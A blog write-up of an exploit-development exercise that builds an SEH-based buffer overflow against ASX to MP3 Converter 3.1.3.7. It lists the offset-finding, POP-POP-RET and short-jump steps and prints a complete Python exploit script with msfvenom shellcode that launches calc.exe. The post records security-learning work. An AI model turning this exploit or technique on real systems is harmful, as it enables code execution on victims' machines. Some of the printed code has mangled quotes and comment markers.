ASX to MP3 Converter SEH Exploit

After completing my SLAE x86 certification, I wanted to begin my journey into exploit development. Several years ago, I had went through the excellent exploit development tutorials provided by Corelan and FuzzySecurity. Since then, I have forgotten almost everything and wanted to start over and go through these tutorials again.

In addition to Corelan and FuzzSecurity, I wanted to add a new tutorial series to my studying from Security Sift. The first exploit tutorial is a stack based buffer overflow against an old piece of software called “ASX to MP3 Converter.” The Security Sift tutorial provides a link to the software, but the link has since gone dead and no longer hosts the software used in the tutorial.

The Security Sift tutorial also links to exploit code on exploit-db that the tutorial was based on. The exploit code references a different download link that is also no longer active. However, using https://web.archive.org/ I was able to find an archived version of the download here (WARNING: This link will download an executable file to your system).

So, I then started to go through the Security Sift tutorial as it was written. I quickly ran into issues, as I noticed that when I had the ASX to MP3 Converter load my payloads, my debugger was not behaving in the same manner as it was in the tutorial. In the tutorial, the payloads were writing past the application’s buffer and overwriting the saved address for EIP that was on the stack, among other things. When I opened my payloads, the application threw an exception before exiting the program.

After checking the version of the ASX to MP3 Converter software I was using, I realized that I was running version 3.1.3.7, and the tutorial was written using version 3.0.0.7. It appeared that the issue being exploited in Security Sift’s tutorial had been patched or corrected in some way in the version I was using, and I couldn’t find any earlier versions of the software.

However, I was determined to get an exploit working on the version I had. I was able to write past the buffer and overwrite values on the stack. Surely there had to be a way to get it to work, right? Then I remember something from those tutorials I did all those years ago: If I was getting exception issues when running my payloads, maybe this could be an exploit using SEH, or Windows Structured Exception Handling.

Exploiting SEH

The Security Sift tutorial had you write out of the buffer to overwrite EIP to redirect the application flow to your shellcode. When exploiting SEH, you instead overwrite the pointer to the next SEH Record, and then the SE Handler itself. I won’t go into further detail about SEH, as I haven’t fully read up on it myself, but more information can be found here.

Finding the SEH Offset

Similar to the stack-based buffer overflow tutorial, I needed to find the offset to the next SEH pointer and SE handler record. To facilitate this, I used metasploit’s pattern_create.rb script to generate a pattern that was 50,000 characters long.

/usr/shar/metasploit-framework/tools/exploits/pattern_create.rb -l 50000

I added the output from pattern_create.rb to a python script that would generate a .m3u file that would be my payload against the ASX to MP3 Converter software.

payloadFile = open(“asx2mp3.m3u”,”w”)
offset = “pattern_create output”
payloadFile.write(offset)
payloadFile.close
print “Payload file created”

I copied the file generated by the python script over to my Windows XP SP3 virtual machine at C:\asx2mp3.m3u, started the ASX to MP3 Converter software, and attached the Immunity Debugger to the software’s process. After unpausing the process in Immunity, I dragged the .m3u file into the software’s GUI, which caused the exception in the application.

If this behaved like the version in the Security Sift tutorial, this would have caused EIP to be overwritten, but for the version I was using, it was not overwritten.

However, when looking at the stack at the time of the exception, it appeared that the next SEH pointer and SEH had been overwritten.

This can also bee seen by viewing the SEH chain in Immunity (View -> SEH Chain, or Alt+S).

With the next SEH pointer and SEH overwritten by the pattern, the offset from the start of the buffer to where SEH was overwritten can be determined with metasploits pattern_offset.rb tool.

/usr/shar/metasploit-framework/tools/exploits/pattern_offset.rb -q 0x75443875 -l 50000
/usr/shar/metasploit-framework/tools/exploits/pattern_offset.rb -q 0x30764439 -l 50000

To confirm these offsets, the python script was modified to the following.

payloadFile = open(“asx2mp3.m3u”,”w”)
Offset to SEH of 43,525
junk = “\x41″*43525

seh = “\x42″*4
sehandler = “\x43″*4
pad = “\x44” * (50000 – len(junk) -8)

This created a new payload. If the offset was correct, then when this new payload was run in the ASX to MP3 Converter software, the next SEH pointer and SEH would be overwritten by the values “B” and “C”, while the rest of the buffer written to the stack would contain “A” or “D”. The offset confirmation was successful.

Redirect Execution to Shellcode

With the ability to overwrite the next SEH pointer and SEH, it could be possible to redirect execution of the application to shellcode provided in the payload. From Security Sift’s SEH exploit tutorial, the following is needed for a working SEH exploit:

  1. offset to Next SEH
  2. jump code for Next SEH to hop over SEH
  3. address for a usable POP+POP+RET instruction
  4. shellcode

When an exception is hit by the application, the address stored at the SEH record is provided to EIP. In our python script, the value used in the “sehandler” variable will be written to EIP.

Based on the way SEH works, the next SEH pointer is stored at ESP+8. This is where the “POP+POP+RET” comes in. If two “POP” instructions are executed, the address of the next SEH record will be at ESP. If the “RET” instruction is then run, the address stored at the top of the stack is put into EIP.

So, to control the execution flow of the ASX to MP3 Converter software, and address to a “POP+POP+RET” instruction will need to be provided. Corelan’s mona.py script can be used for this.

!mona seh -n

The mona script found a “POP+POP+RET” isntruction sequence at the address 0x10031799. It is important that this address does not have any NULLS, and does not have any memory protections enabled such as ASLR or SAFESEH.

With a memory address found to be used for the sehandler variable, the seh variable needs to be provided opcodes for instructions to continue execution of the exploit. The offset test showed that there was plenty of space left in the buffer that was being written to the stack after next SEH and SEH were overwritten. The simplest way to continue execution would be to provide the SEH variable in the python script to perform a short jump.

“\xeb\x14″ is the opcode to jump 20 bytes. By filling the remaining two bytes with no operation or NOP instructions, \x90”, the payload should cause the ASX to MP3 Converter software to jump 20 bytes, past the overwritten next SEH and SEH.

Finalizing the exploit

The final thing to do is create the shellcode to be used as the payload in the exploit. There is a lot of space in the buffer to be used for a payload. For this, I decided to keep it simple and have the exploit launch calc.exe. The shellcode was generated for this with msfvenom.

msfvenom –payload windows/exec CMD=calc EXITFUNC=seh –encode x86/shikata_ga_nai -f python

The final python script looked like this:

payloadFile = open(“asx2mp3.m3u”,”w”)
Offset to SEH of 43,525
junk = “\x41″*43525
jmp 0x14 NOP NOP
seh = “\xeb\x14\x90\x90”
found with immunity using mona.py “!mona seh -n”
0x10031799 : pop ebx # pop eax # ret | {PAGE_EXECUTE_READ} [MSA2Mfilter03.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\Mini-stream\ASX to MP3 Converter\MSA2Mfilter03.dll)
sehandler = “\x99\x17\x03\x10”
nops = “\x90″*20
msfvenom –payload windows/exec CMD=calc EXITFUNC=seh –encode x86/shikata_ga_nai -f python
buf = “”
buf += “\xd9\xd0\xd9\x74\x24\xf4\xba\xba\x47\x6a\xab\x5e\x33”
buf += “\xc9\xb1\x31\x83\xee\xfc\x31\x56\x14\x03\x56\xae\xa5”
buf += “\x9f\x57\x26\xab\x60\xa8\xb6\xcc\xe9\x4d\x87\xcc\x8e”
buf += “\x06\xb7\xfc\xc5\x4b\x3b\x76\x8b\x7f\xc8\xfa\x04\x8f”
buf += “\x79\xb0\x72\xbe\x7a\xe9\x47\xa1\xf8\xf0\x9b\x01\xc1”
buf += “\x3a\xee\x40\x06\x26\x03\x10\xdf\x2c\xb6\x85\x54\x78”
buf += “\x0b\x2d\x26\x6c\x0b\xd2\xfe\x8f\x3a\x45\x75\xd6\x9c”
buf += “\x67\x5a\x62\x95\x7f\xbf\x4f\x6f\x0b\x0b\x3b\x6e\xdd”
buf += “\x42\xc4\xdd\x20\x6b\x37\x1f\x64\x4b\xa8\x6a\x9c\xa8”
buf += “\x55\x6d\x5b\xd3\x81\xf8\x78\x73\x41\x5a\xa5\x82\x86”
buf += “\x3d\x2e\x88\x63\x49\x68\x8c\x72\x9e\x02\xa8\xff\x21”
buf += “\xc5\x39\xbb\x05\xc1\x62\x1f\x27\x50\xce\xce\x58\x82”
buf += “\xb1\xaf\xfc\xc8\x5f\xbb\x8c\x92\x35\x3a\x02\xa9\x7b”
buf += “\x3c\x1c\xb2\x2b\x55\x2d\x39\xa4\x22\xb2\xe8\x81\xdd”
buf += “\xf8\xb1\xa3\x75\xa5\x23\xf6\x1b\x56\x9e\x34\x22\xd5”
buf += “\x2b\xc4\xd1\xc5\x59\xc1\x9e\x41\xb1\xbb\x8f\x27\xb5”
buf += “\x68\xaf\x6d\xd6\xef\x23\xed\x37\x8a\xc3\x94\x47”
pad = “\x44″* (50000 – len(junk) – 8 -len(nops) – len (buf) -len(nops))
payloadFile.write(junk+seh+sehandler+nops+buf+nops+pad)
payloadFile.close
print “Payload file created”

When the the new payload was generated and loaded into ASX to MP3 Converter, the exception was hit, and next SEH and SEH were overwritten with the provided values.

EIP was then overwritten with 0x10031799, and a breakpoint set at that memory address was hit.

After the POP+POP+RET sequence was run, the memory address of next SEH was loaded into EIP, and the “EB 14 / JMP 0x14” instruction was executed.

And then finally, calc.exe was executed.

The code used to create this payload can be found on Github: https://github.com/FatRodzianko/exploit-ASX_to_MP3_Converter/blob/master/asx-to-mp3-convertor_seh-exploit.py

I also submitted this exploit code to exploit-db, but considering that very similar exploits for the same software were already there, I doubt it will be accepted. There wasn’t an SEH exploit for this particular version (3.1.3.7), but there was a more robust ASLR bypass exploit for this version.